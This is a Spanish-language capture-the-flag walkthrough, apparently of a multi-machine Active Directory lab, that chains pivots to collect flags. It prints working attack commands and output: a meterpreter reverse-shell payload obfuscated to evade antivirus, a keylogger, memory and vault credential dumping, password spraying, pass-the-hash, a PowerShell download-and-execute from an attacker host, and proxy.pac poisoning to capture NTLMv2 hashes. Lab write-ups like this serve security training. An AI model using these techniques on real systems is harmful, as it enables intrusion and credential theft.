root@Ignis:~# cat flag.txt 
RPG{h1j@ckin_lyk_@_pir@t3}
root@Ignis:~#

Otra forma de hacerlo es con metasploit, para ello iniciamos creando un listener de meterpreter por el puerto 4444 pero hay que tener algunas cosas en cuenta

❯ sudo msfconsole -q
[msf](Jobs:0 Agents:0) >> use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload windows/x64/meterpreter/reverse_tcp  
payload => windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lhost tun0
lhost => tun0
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lport 4444
lport => 4444
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run

[*] Started reverse TCP handler on 10.10.14.10:4444

Ya que no tenemos conexion directa con nuestro equipo usaremos la maquina ignis para redirigir el trafico del puerto 4444 local al puerto 4444 de nuestro equipo

❯ chisel server --reverse --port 9999
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:9999  

beta_user@Ignis:~$ ./chisel client 10.10.14.10:9999 0.0.0.0:4444:10.10.14.10:4444 &
client: Connecting to ws://10.10.14.10:9999
client: tun: proxy#4444=>10.10.14.10:4444: Listening
beta_user@Ignis:~$

Ahora crearemos un exe malicioso que nos envie la sesion pero indicaremos la ip de la maquina ignis que redirige el puerto que es la direccion 192.168.125.135

❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.125.135 LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe

Tenemos otro problema y es que si subimos el exe malicioso automaticamente el antivirus lo detecta como amenaza y borra todo su contenido, lo deja con 0 bytes

PS C:\Users\janderson\Documents> upload shell.exe

Info: Uploading shell.exe to C:\Users\janderson\Documents\shell.exe  

Data: 9556 bytes of 9556 bytes copied

Info: Upload successful!

PS C:\Users\janderson\Documents> dir 

    Directory: C:\Users\janderson\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        8/29/2023   8:25 PM              0 shell.exe

PS C:\Users\janderson\Documents>

Para evitar esto podemos usar ebowla para ofuscar un poco nuestro exe malicioso

❯ python2 ebowla.py shell.exe genetic.config
[*] Using Symmetric encryption
[*] Payload length 7168
[*] Payload_type exe
[*] Using EXE payload template
[*] Used environment variables:
	[-] environment value used: username, value used: lux
[!] Path string not used as part of key
[!] External IP mask NOT used as part of key
[!] System time mask NOT used as part of key
[*] String used to source the encryption key: lux
[*] Applying 10000 sha512 hash iterations before encryption
[*] Encryption key is: d7f740196206d2a46b638ccc3aecceb1d47326d06a1870f9b9fe98f20ca2155b  
[*] Writing Python payload to: go_symmetric_shell.exe.go
[*] Removing Comments and Print Statements

❯ ./build_x64_go.sh output/go_symmetric_shell.exe.go shell_ofs.exe
[*] Copy Files to tmp for building
[*] Building...
[*] Building complete
[*] Copy shell_ofs.exe to output
[*] Cleaning up
[*] Done

Subimos el exe que nos creo ebowla y al ejecutarlo envia la sesion sin problemas

PS C:\Users\janderson\Documents> .\shell_ofs.exe  
PS C:\Users\janderson\Documents>

Al ejecutarlo recibimos una sesión de meterpreter como el usuario janderson

[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run

[*] Started reverse TCP handler on 10.10.14.10:4444 
[*] Sending stage (200774 bytes) to 10.10.14.10
[*] Meterpreter session 1 opened (10.10.14.10:4444 -> 10.10.14.10:49722)  

(Meterpreter 1)(C:\Users\janderson\Documents) > getuid
Server username: ROUNDSOFT\janderson
(Meterpreter 1)(C:\Users\janderson\Documents) >

Igual que antes migraremos al proceso RuntimeBroker e iniciaremos un keylogger, sin embargo desde meterpreter es mucho mas facil hacer todo este proceso

(Meterpreter 1)(C:\Users\janderson\Documents) > migrate -N RuntimeBroker.exe  
[*] Migrating from 15276 to 5804...
[*] Migration completed successfully.
(Meterpreter 1)(C:\Windows\system32) > keyscan_start 
Starting the keystroke sniffer ...
(Meterpreter 1)(C:\Windows\system32) >

Después de unos segundo que se reinicia la sesion de putty podemos capturar las pulsaciones ingresadas por el usuario y por lo tanto la contraseña para ssh

(Meterpreter 1)(C:\Windows\system32) > keyscan_dump  
Dumping captured keystrokes...
(03^69<@BHM*/KY4z<CR>

(Meterpreter 1)(C:\Windows\system32) >

Podemos conectarnos como root con esta contraseña a traves de ssh y leer la flag

❯ ssh root@10.13.38.18 
root@10.13.38.18's password: (03^69<@BHM*/KY4z
root@Ignis:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Ignis:~# hostname -I 
10.13.38.18 192.168.125.135 172.17.0.1 dead:beef::250:56ff:fe07:4590  
root@Ignis:~# cat flag.txt 
RPG{h1j@ckin_lyk_@_pir@t3}
root@Ignis:~#


One's act, one's profit

RPG{n0thing_1s_h1dd3n_fr0m_r00t!}


Ya como root podemos ver procesos de gnome ejecutandose como ruby, espeficicamente nos interesa el proceso que ejecuta gnome-keyring-daemon

root@Ignis:~# ps aux | grep ruby
ruby       1536  0.0  0.2  77032  8168 ?        Ss   00:05   0:00 /lib/systemd/systemd --user
ruby       1545  0.0  0.0 114104  2656 ?        S    00:05   0:00 (sd-pam)
ruby       1579  0.0  0.2 279984 11880 ?        SLl  00:05   0:00 /usr/bin/gnome-keyring-daemon --daemonize --login
ruby       1596  0.0  0.1 203736  5932 tty1     Ssl+ 00:05   0:00 /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
ruby       1598  0.0  4.0 622364 161732 tty1    Sl+  00:05   0:02 /usr/lib/xorg/Xorg vt1 -displayfd 3 -auth /run/user/1001/gdm/Xauthority -background none -noreset -keeptty -verbose 3  
ruby       1617  0.0  0.1  52480  6456 ?        Ss   00:05   0:00 /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
ruby       1624  0.0  0.3 698280 13916 tty1     Sl+  00:05   0:00 /usr/lib/gnome-session/gnome-session-binary --session=ubuntu
ruby       1896  0.0  0.0  11304   320 ?        Ss   00:05   0:00 /usr/bin/ssh-agent /usr/bin/im-launch env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
ruby       2008  0.0  0.1 349292  6476 ?        Ssl  00:05   0:00 /usr/lib/at-spi2-core/at-spi-bus-launcher
ruby       2036  0.0  0.0  49924  3560 ?        S    00:05   0:00 /usr/bin/dbus-daemon --config-file=/usr/share/defaults/at-spi2/accessibility.conf --nofork --print-address 3
ruby       2065  0.0  0.1 220780  6564 ?        Sl   00:06   0:00 /usr/lib/at-spi2-core/at-spi2-registryd --use-gnome-session
ruby       2218  0.0  0.3 279696 12448 ?        Sl   00:06   0:00 /usr/bin/gnome-keyring-daemon --start --foreground --components=secrets
ruby       2377  0.0  4.1 3240876 168612 tty1   Sl+  00:06   0:49 /usr/bin/gnome-shell
root@Ignis:~#

Con mimipenguin podemos buscar credenciales sin cifrar en la memoria, vemos la contraseña del usuario ruby en texto plano la cual podemos usar para ssh

root@Ignis:~# python3 mimipenguin.py 
[SYSTEM - GNOME]	ruby:N1xp@ssw0rd4Ruby  

❯ ssh ruby@10.13.38.18
ruby@10.13.38.18's password: N1xp@ssw0rd4Ruby
ruby@Ignis:~$ id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
ruby@Ignis:~$ hostname -I
10.13.38.18 192.168.125.135 172.17.0.1 dead:beef::250:56ff:fe07:4590  
ruby@Ignis:~$

Habiamos visto un proceso de keyrings, en el directorio donde se guardan los keyrings encontramos 4 archivos que son Credentials, login, stuff y user

ruby@Ignis:~/.local/share/keyrings$ ls -l
-rw------- 1 ruby ruby 677 Jan 17  2020 Credentials.keyring  
-rw------- 1 ruby ruby 535 Jan 17  2020 login.keyring
-rw------- 1 ruby ruby 315 Jan 17  2020 stuff.keyring
-rw------- 1 ruby ruby 207 Jan 17  2020 user.keystore
ruby@Ignis:~/.local/share/keyrings$

Aprovechando la conexion ssh con scp podemos transferir todos los keyrings del usuario ruby a nuestro directorio de keyrings para despues abrirlos con seahorse

❯ scp ruby@10.13.38.18:'~/.local/share/keyrings/*' ~/.local/share/keyrings  
ruby@10.13.38.18's password: N1xp@ssw0rd4Ruby

❯ seahorse

En el keyring stuff usando la contraseña de ruby podemos decifrar su contenido, su descripción es Flag y su contraseña simplemente nos muestra la flag


The source of power

RPG{L3v31iNg_uP_2_t3h_b0$$_m0d3}


En el keyring Credentials encontramos 3 credenciales existentes, cada una con diferentes contraseñas para diferentes servicios como Drive, Wifi y Workstation

Despues de crear una lista de los usuarios del dominio probamos autenticarnos a traves de smb usando esta contraseña, esta es valida para el usuario rrodriguez

❯ crackmapexec smb shinra.roundsoft.local -u users.txt -p I@mabArb13g1rl1n@barbi3w0rld
SMB         roundsoft.local 445    SHINRA           [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)  
SMB         roundsoft.local 445    SHINRA           [-] Roundsoft.local\administrator:I@mabArb13g1rl1n@barbi3w0rld STATUS_ACCOUNT_RESTRICTION 
SMB         roundsoft.local 445    SHINRA           [-] Roundsoft.local\Guest:I@mabArb13g1rl1n@barbi3w0rld STATUS_LOGON_FAILURE 
SMB         roundsoft.local 445    SHINRA           [-] Roundsoft.local\krbtgt:I@mabArb13g1rl1n@barbi3w0rld STATUS_LOGON_FAILURE 
SMB         roundsoft.local 445    SHINRA           [-] Roundsoft.local\DefaultAccount:I@mabArb13g1rl1n@barbi3w0rld STATUS_LOGON_FAILURE 
SMB         roundsoft.local 445    SHINRA           [-] Roundsoft.local\nyoshida:I@mabArb13g1rl1n@barbi3w0rld STATUS_LOGON_FAILURE 
SMB         roundsoft.local 445    SHINRA           [-] Roundsoft.local\hsakaguchi:I@mabArb13g1rl1n@barbi3w0rld STATUS_LOGON_FAILURE 
SMB         roundsoft.local 445    SHINRA           [-] Roundsoft.local\yamano:I@mabArb13g1rl1n@barbi3w0rld STATUS_LOGON_FAILURE 
SMB         roundsoft.local 445    SHINRA           [-] Roundsoft.local\tnomura:I@mabArb13g1rl1n@barbi3w0rld STATUS_LOGON_FAILURE 
SMB         roundsoft.local 445    SHINRA           [-] Roundsoft.local\htanaka:I@mabArb13g1rl1n@barbi3w0rld STATUS_LOGON_FAILURE 
SMB         roundsoft.local 445    SHINRA           [-] Roundsoft.local\repository_admin:I@mabArb13g1rl1n@barbi3w0rld STATUS_LOGON_FAILURE 
SMB         roundsoft.local 445    SHINRA           [+] Roundsoft.local\rrodriguez:I@mabArb13g1rl1n@barbi3w0rld

Podemos probar las credenciales para el protocolo winrm hacia todos los equipos del dominio, todos devuelven error excepto el host .129 que devuelve un Pwn3d!

❯ crackmapexec winrm 192.168.125.88-129 -u rrodriguez -p I@mabArb13g1rl1n@barbi3w0rld
SMB         192.168.125.88  5985   GELUS            [*] Windows 10.0 Build 17763 (name:GELUS) (domain:Roundsoft.local)
SMB         192.168.125.128 5985   SHINRA           [*] Windows 10.0 Build 14393 (name:SHINRA) (domain:Roundsoft.local)  
SMB         192.168.125.129 5985   LUX              [*] Windows 10.0 Build 18362 (name:LUX) (domain:Roundsoft.local)
HTTP        192.168.125.88  5985   GELUS            [*] http://192.168.125.88:5985/wsman
HTTP        192.168.125.128 5985   SHINRA           [*] http://192.168.125.128:5985/wsman
HTTP        192.168.125.129 5985   LUX              [*] http://192.168.125.129:5985/wsman
HTTP        192.168.125.88  5985   GELUS            [-] Roundsoft.local\rrodriguez:I@mabArb13g1rl1n@barbi3w0rld 
HTTP        192.168.125.128 5985   SHINRA           [-] Roundsoft.local\rrodriguez:I@mabArb13g1rl1n@barbi3w0rld 
HTTP        192.168.125.129 5985   LUX              [+] Roundsoft.local\rrodriguez:I@mabArb13g1rl1n@barbi3w0rld (Pwn3d!)

Simplemente nos conectamos haciendo uso de evil-winrm al equipo LUX donde la credencial es validas y obtenemos una powershell como el usuario rrodriguez

❯ evil-winrm -i lux.roundsoft.local -u rrodriguez -p I@mabArb13g1rl1n@barbi3w0rld  
PS C:\Users\rrodriguez\Documents> whoami
roundsoft\rrodriguez
PS C:\Users\rrodriguez\Documents>

El usuario tiene acceso a WmiMonitor por lo que podemos pensar que puede hacer cosas con el como obtener acceso remoto a otro equipo que sea parte del dominio

PS C:\Program Files (x86)\SolarWinds> dir

    Directory: C:\Program Files (x86)\SolarWinds

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       11/15/2019   4:34 PM                WmiMonitor  

PS C:\Program Files (x86)\SolarWinds>

Al definir las credenciales del usuario rrodriguez e invocar un comando mediante WMI hacia el equipo GELUS parece que se ejecuta sin denegarnos el acceso

PS C:\Users\rrodriguez\Documents> $SecPassword = ConvertTo-SecureString 'I@mabArb13g1rl1n@barbi3w0rld' -AsPlainText -Force
PS C:\Users\rrodriguez\Documents> $Cred = New-Object System.Management.Automation.PSCredential('roundsoft.local\rrodriguez', $SecPassword)
PS C:\Users\rrodriguez\Documents> Invoke-WmiMethod -ComputerName GELUS -Credential $Cred -Path win32_process -Name Create -ArgumentList ('whoami')  

__GENUS          : 2
__CLASS          : __PARAMETERS
__SUPERCLASS     :
__DYNASTY        : __PARAMETERS
__RELPATH        :
__PROPERTY_COUNT : 2
__DERIVATION     : {}
__SERVER         :
__NAMESPACE      :
__PATH           :
ProcessId        : 8136
ReturnValue      : 0
PSComputerName   :

PS C:\Users\rrodriguez\Documents>

El equipo GELUS si tiene conexion directa con nosotros, asi que podemos aprovechar el script pocat.ps1 de antes para abrir un listener en el puerto 4444 con una powershell, para ello hacemos la peticion con IWR y la interpretamos con IEX

PS C:\Users\rrodriguez\Documents> Invoke-WmiMethod -ComputerName GELUS -Credential $Cred -Path win32_process -Name Create -ArgumentList ('powershell -c "IWR 10.10.14.10/pocat.ps1 | IEX"')  
PS C:\Users\rrodriguez\Documents>

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...  
10.13.38.19 - - "GET /pocat.ps1 HTTP/1.1" 200 -

Despues de interpretarse nos podemos conectar el puerto 4444 y obtenemos una powershell como el usuario rrodriguez pero esta vez en el equipo GELUS

❯ netcat gelus.roundsoft.local 4444
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.  

PS C:\Windows\system32> whoami
roundsoft\rrodriguez
PS C:\Windows\system32> hostname
GELUS
PS C:\Windows\system32>

En el directorio Downloads de rrodriguez encontramos un exe de ChromeSetup que se usa para instalar chrome por lo que podemos suponer que este esta instalado

PS C:\Users\rrodriguez\Downloads> dir

    Directory: C:\Users\rrodriguez\Downloads

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/19/2020   8:33 PM        1397976 ChromeSetup.exe  

PS C:\Users\rrodriguez\Downloads>

Navegando entre archivos encontramos un archivo llamado 1 de una extension la cual buscando el nombre de la carpeta nos encontramos con que es LastPass

PS C:\Users\rrodriguez\Downloads> dir 'C:\Users\rrodriguez\AppData\Local\Google\Chrome\User Data\Default\databases\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0'  

    Directory: C:\Users\rrodriguez\AppData\Local\Google\Chrome\User Data\Default\databases\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/19/2020   9:01 PM          77824 1

PS C:\Users\rrodriguez\Downloads>

Para descargarlo podemos copiarlo a un servidor smb creado en nuestro equipo

PS C:\Users\rrodriguez\Downloads> cp 'C:\Users\rrodriguez\AppData\Local\Google\Chrome\User Data\Default\databases\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0\1' \\10.10.14.10\kali\1  
PS C:\Users\rrodriguez\Downloads>

Podemos usar una herramienta para decifrarlo, despues de probar contraseñas nos funciona una de las contraseñas que encontramos antes en los keyrings, como resultado en la data que nos genera obtenemos la flag ademas de credenciales

❯ python3 lpparser.py
Path of LastPass vault file: 1
Output directory: .
Email: ruby@roundsoft.com
Password: L1f3_1s_pl@st1c

Data exported to /home/kali/lastpass-vault-parser

press ENTER to exit

❯ cat Sites_and_SecureNotes.csv     
"aid","Name","Folder","URL","Notes","Favorite","sharedfromaid","Username","Password","Require Password Repromt","Generated Password","Secure Notes","Last Used","AutoLogin","Disable AutoFill","realm_data","fiid","custom_js","submit_id","captcha_id","urid","basic_auth","method","action","groupid","deleted","attachkey","attachpresent","individualshare","Note Type","noalert","Last Modified","Shared with Others","Last Password Changed","Created","vulnerable","Auto Change Password supported","breached","Custom Template","Form Fields"  
"738847209304266833","Admin account - Mail","mail","http://mail.roundsoft.local/owa","","0","","ruby_adm","b3aut1fu1_lyk_@_g3m!","0","0","0","0","0","0","","738847209304266833","","","","0","0","","","0","0","","","0","","","1579534224","0","1579534224","1579534224","","0","0","",""
"8006682195168702159","Flag","flag","http://sn","RPG{L3v31iNg_uP_2_t3h_b0$$_m0d3}","0","","","","0","0","1","0","0","0","","8006682195168702159","","","","0","0","","","1","","","","0","Generic","","","","","","","0","0","",""


Wake from death and turn to life

RPG{l3ave_my_hash3s_al0ne!}


Las credenciales de ruby_adm que encontramos son validas a nivel de dominio

❯ crackmapexec smb shinra.roundsoft.local -u ruby_adm -p b3aut1fu1_lyk_@_g3m!
SMB         roundsoft.local 445    SHINRA           [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)  
SMB         roundsoft.local 445    SHINRA           [+] Roundsoft.local\ruby_adm:b3aut1fu1_lyk_@_g3m!

Para enumerar el dominio usaremos bloodhound autenticandonos como cualquier usuario del dominio, toda la informacion recolectada la guardaremos en un zip

❯ bloodhound-python -u ruby_adm -p b3aut1fu1_lyk_@_g3m! -ns 192.168.125.128 -d roundsoft.local -c All --zip  
INFO: Found AD domain: roundsoft.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: Shinra.Roundsoft.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 3 computers
INFO: Connecting to LDAP server: Shinra.Roundsoft.local
INFO: Found 117 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: GELUS.Roundsoft.local
INFO: Querying computer: Lux.Roundsoft.local
INFO: Querying computer: Shinra.Roundsoft.local
INFO: Done in 00M 39S
INFO: Compressing output into 20230825230949_bloodhound.zip

Subimos el zip y partiendo del usuario ruby_adm nos encontramos con privilegios GenericAll sobre 100 usuarios del dominio, la mayoria no nos sirven de nada

Podemos partir buscando por rutas con los usuarios que formen parte del grupo Developers ya que estos son administradores locales en el equipo LUX

PS C:\Users\janderson\Documents> net localgroup Administrators

Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain  

Members

-------------------------------------------------------------------------------
Administrator
ROUNDSOFT\Developers
ROUNDSOFT\Domain Admins
Roundsoft_HR

The command completed successfully.

PS C:\Users\janderson\Documents>

Tenemos GenericAll sobre 2 usuarios que forman pate del grupo Developers

El plan es sencillo, cambiarle la contraseña a un usuario en este caso lthomson y autenticarnos con el, pero nos devuelve que el usuario esta deshabilitado

❯ net rpc password lthomson password123# -U 'roundsoft.local/ruby_adm%b3aut1fu1_lyk_@_g3m!' -S shinra.roundsoft.local

❯ crackmapexec smb shinra.roundsoft.local -u lthomson -p password123#
SMB         roundsoft.local 445    SHINRA           [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)  
SMB         roundsoft.local 445    SHINRA           [-] Roundsoft.local\lthomson:password123# STATUS_ACCOUNT_DISABLED

Al tener GenericAll sobre estos tambien podemos habilitarlos, subimos PowerView a una maquina y con la credencial de ruby_adm habilitamos al usuario lthomson

PS C:\Users\rrodriguez\Documents> Import-Module .\PowerView.ps1
PS C:\Users\rrodriguez\Documents> $SecPassword = ConvertTo-SecureString 'b3aut1fu1_lyk_@_g3m!' -AsPlainText -Force
PS C:\Users\rrodriguez\Documents> $Cred = New-Object System.Management.Automation.PSCredential('roundsoft.local\ruby_adm', $SecPassword)  
PS C:\Users\rrodriguez\Documents> Set-DomainObject -Identity LThomson -XOR @{useraccountcontrol=2} -Cred $Cred
PS C:\Users\rrodriguez\Documents>

Si ahora probamos las credenciales contra el DC nos devuelve que son validas

❯ crackmapexec smb shinra.roundsoft.local -u lthomson -p password123#
SMB         roundsoft.local 445    SHINRA           [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)  
SMB         roundsoft.local 445    SHINRA           [+] Roundsoft.local\lthomson:password123#

Ya con el usuario activado al autenticarnos contra LUX y ser administradores nos devuelve un Pwn3d! asi que podemos dumpear la sam y ver los hashes NT

❯ crackmapexec smb lux.roundsoft.local -u lthomson -p password123# 
SMB         lux.roundsoft.local 445    LUX              [*] Windows 10.0 Build 18362 x64 (name:LUX) (domain:Roundsoft.local) (signing:False) (SMBv1:False)
SMB         lux.roundsoft.local 445    LUX              [+] Roundsoft.local\lthomson:password123# (Pwn3d!)  

❯ crackmapexec smb lux.roundsoft.local -u lthomson -p password123# --sam
SMB         lux.roundsoft.local 445    LUX              [*] Windows 10.0 Build 18362 x64 (name:LUX) (domain:Roundsoft.local) (signing:False) (SMBv1:False)  
SMB         lux.roundsoft.local 445    LUX              [+] Roundsoft.local\lthomson:password123# (Pwn3d!)
SMB         lux.roundsoft.local 445    LUX              [*] Dumping SAM hashes
SMB         lux.roundsoft.local 445    LUX              Administrator:500:aad3b435b51404eeaad3b435b51404ee:53ff2611f458c331e1ecbb3921b7b471:::
SMB         lux.roundsoft.local 445    LUX              Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         lux.roundsoft.local 445    LUX              DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         lux.roundsoft.local 445    LUX              WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:e1c935bfda72ce05c46592bcbaea4ad3:::
SMB         lux.roundsoft.local 445    LUX              Roundsoft_HR:1001:aad3b435b51404eeaad3b435b51404ee:e5562111cec252d79c2205f7ede6beba:::

Podemos simplemente conectarnos con el hash de Administrator con evil-winrm

❯ evil-winrm -i lux.roundsoft.local -u Administrator -H 53ff2611f458c331e1ecbb3921b7b471  
PS C:\Users\Administrator\Documents> whoami
lux\administrator
PS C:\Users\Administrator\Documents>

El usuario yamano toene instalado WinSCP en su version de escritorio por lo que es muy probable que sus credenciales se hayan guardado en los registros

PS C:\Users\yamano\AppData\Local\Programs\WinSCP> dir

    Directory: C:\Users\yamano\AppData\Local\Programs\WinSCP

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/27/2020   1:49 PM                Extensions
d-----        5/27/2020   1:49 PM                PuTTY
d-----        5/27/2020   1:49 PM                Translations
-a----        4/27/2020  11:43 AM         486904 DragExt64.dll  
-a----        4/23/2020   2:39 PM          37852 license.txt
-a----        5/27/2020   1:49 PM          87298 unins000.dat
-a----        5/27/2020   1:48 PM        2669760 unins000.exe
-a----        5/27/2020   1:49 PM          23383 unins000.msg
-a----        4/27/2020  11:41 AM         285424 WinSCP.com
-a----        4/27/2020  11:40 AM       26836592 WinSCP.exe
-a----        4/27/2020  11:39 AM       12143294 WinSCP.map
-a----        4/27/2020  11:41 AM         151880 WinSCPnet.dll

PS C:\Users\yamano\AppData\Local\Programs\WinSCP>

Iniciaremos descargando el archivo NTUSER.DAT del usuario yamano para analizarlo

PS C:\Users\yamano> download NTUSER.DAT NTUSER.DAT

Info: Downloading C:\Users\yamano\NTUSER.DAT to NTUSER.DAT

Info: Download successful!

PS C:\Users\yamano>

Usando Registry Explorer podemos encontrar en la sesion de WinSCP la credencial

Usando winscppasswd podemos decifrar la contraseña en base a los datos que obtenemos en el registro de winscp, obtenemos una contraseña en texto plano

PS C:\Users\pc1\Desktop> .\winscppasswd.exe 192.168.125.135 yamano A35C7059DC0FAE8584253D313D32336D656E726D6A64726D6E69726D6F691D2E6B03350F033A1C32281C2F286D3F033E6F3D292825  
Ar7_iS_f@nt@st1c_b3auty
PS C:\Users\pc1\Desktop>

La credencial es valida, sin embargo este usuario no se puede conectar a traves del protocolo winrm a ninguno de los equipos que nos restan de comprometer

❯ crackmapexec smb shinra.roundsoft.local -u yamano -p Ar7_iS_f@nt@st1c_b3auty
SMB         roundsoft.local 445    SHINRA           [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)  
SMB         roundsoft.local 445    SHINRA           [+] Roundsoft.local\yamano:Ar7_iS_f@nt@st1c_b3auty

❯ crackmapexec winrm 192.168.125.88-128 -u yamano -p Ar7_iS_f@nt@st1c_b3auty
SMB         192.168.125.88  5985   GELUS            [*] Windows 10.0 Build 17763 (name:GELUS) (domain:Roundsoft.local)
SMB         192.168.125.128 5985   SHINRA           [*] Windows 10.0 Build 14393 (name:SHINRA) (domain:Roundsoft.local)
HTTP        192.168.125.88  5985   GELUS            [*] http://192.168.125.88:5985/wsman
HTTP        192.168.125.128 5985   SHINRA           [*] http://192.168.125.128:5985/wsman
HTTP        192.168.125.88  5985   GELUS            [-] Roundsoft.local\yamano:Ar7_iS_f@nt@st1c_b3auty 
HTTP        192.168.125.128 5985   SHINRA           [-] Roundsoft.local\yamano:Ar7_iS_f@nt@st1c_b3auty

Sin embargo utilizando Invoke-RunasCs logramos ejecutar comandos como este usuario localmente en el equipo GELUS, en este caso un simple whoami para probar

PS C:\Users\rrodriguez\Documents> curl 10.10.14.10/Invoke-RunasCs.ps1 -o Invoke-RunasCs.ps1  
PS C:\Users\rrodriguez\Documents> Import-Module .\Invoke-RunasCs.ps1
PS C:\Users\rrodriguez\Documents> Invoke-RunasCs yamano Ar7_iS_f@nt@st1c_b3auty whoami
roundsoft\yamano
PS C:\Users\rrodriguez\Documents>

Utilizando el parametro -Remote del propio RunasCs nos enviamos una powershell aprovechando que tenemos conexion directa con nuestro equipo desde aqui

PS C:\Users\rrodriguez\Documents> Invoke-RunasCs yamano Ar7_iS_f@nt@st1c_b3auty powershell -Remote 10.10.14.10:443
[+] Running in session 0 with process function CreateProcessWithTokenW()
[+] Using Station\Desktop: Service-0x0-27fbfef$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 7192 created in background.  
PS C:\Users\rrodriguez\Documents>

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.13.38.19
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.  

PS C:\Windows\system32> whoami
roundsoft\yamano
PS C:\Windows\system32> hostname
GELUS
PS C:\Windows\system32>

Navegando el directorio inetpub encontramos un archivo proxy.pac que almacena informacion sobre que a proxy redirigir mediante un script en JavaScript

PS C:\inetpub\altroot\pac_testing> dir

    Directory: C:\inetpub\altroot\pac_testing

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        5/22/2020  12:02 AM            118 proxy.pac            

PS C:\inetpub\altroot\pac_testing> type proxy.pac
function FindProxyForURL(url, host) 
{
	// allow DIRECT for now, yamano to setup proxy server 
	return "DIRECT";
}
PS C:\inetpub\altroot\pac_testing>

Este archivo puede ser modificado por el grupo Infra, al cual el usuario yamano como el que estamos actualmente pertenece, asi que podemos escribir en el

PS C:\inetpub\altroot\pac_testing> icacls proxy.pac
proxy.pac ROUNDSOFT\Infra:(W)
          ROUNDSOFT\Infra:(I)(RX)
          BUILTIN\IIS_IUSRS:(I)(RX)
          NT AUTHORITY\IUSR:(I)(RX)
          BUILTIN\Administrators:(I)(F)
          NT AUTHORITY\SYSTEM:(I)(F)
          NT SERVICE\TrustedInstaller:(I)(F)

Successfully processed 1 files; Failed processing 0 files
PS C:\inetpub\altroot\pac_testing> Get-ADPrincipalGroupMembership yamano | Select Name  

Name
----
Domain Users
Developers
Infra

PS C:\inetpub\altroot\pac_testing>

Responder cuenta con el pamrametro -P para el proxy que estara en el puerto 3128

❯ sudo responder -I tun0 -P
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----. 
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _| 
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

[+] Listening for events...

Modificamos el archivo proxy.pac para que tome como proxy nuestro host por el puerto 3128 donde esta en escucha responder que forzara una autenticacion

PS C:\inetpub\altroot\pac_testing> echo 'function FindProxyForURL(url, host){ return "PROXY 10.10.14.10:3128; DIRECT"; }' > proxy.pac  
PS C:\inetpub\altroot\pac_testing> type proxy.pac
function FindProxyForURL(url, host){ return "PROXY 10.10.14.10:3128; DIRECT"; }
PS C:\inetpub\altroot\pac_testing>

Despues de un par de minutos recibimos un hash NTLMv2 del usuario AThompson

❯ sudo responder -I tun0 -P
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

[+] Listening for events...

[Proxy-Auth] NTLMv2 Client   : 10.13.38.19
[Proxy-Auth] NTLMv2 Username : ROUNDSOFT\AThompson
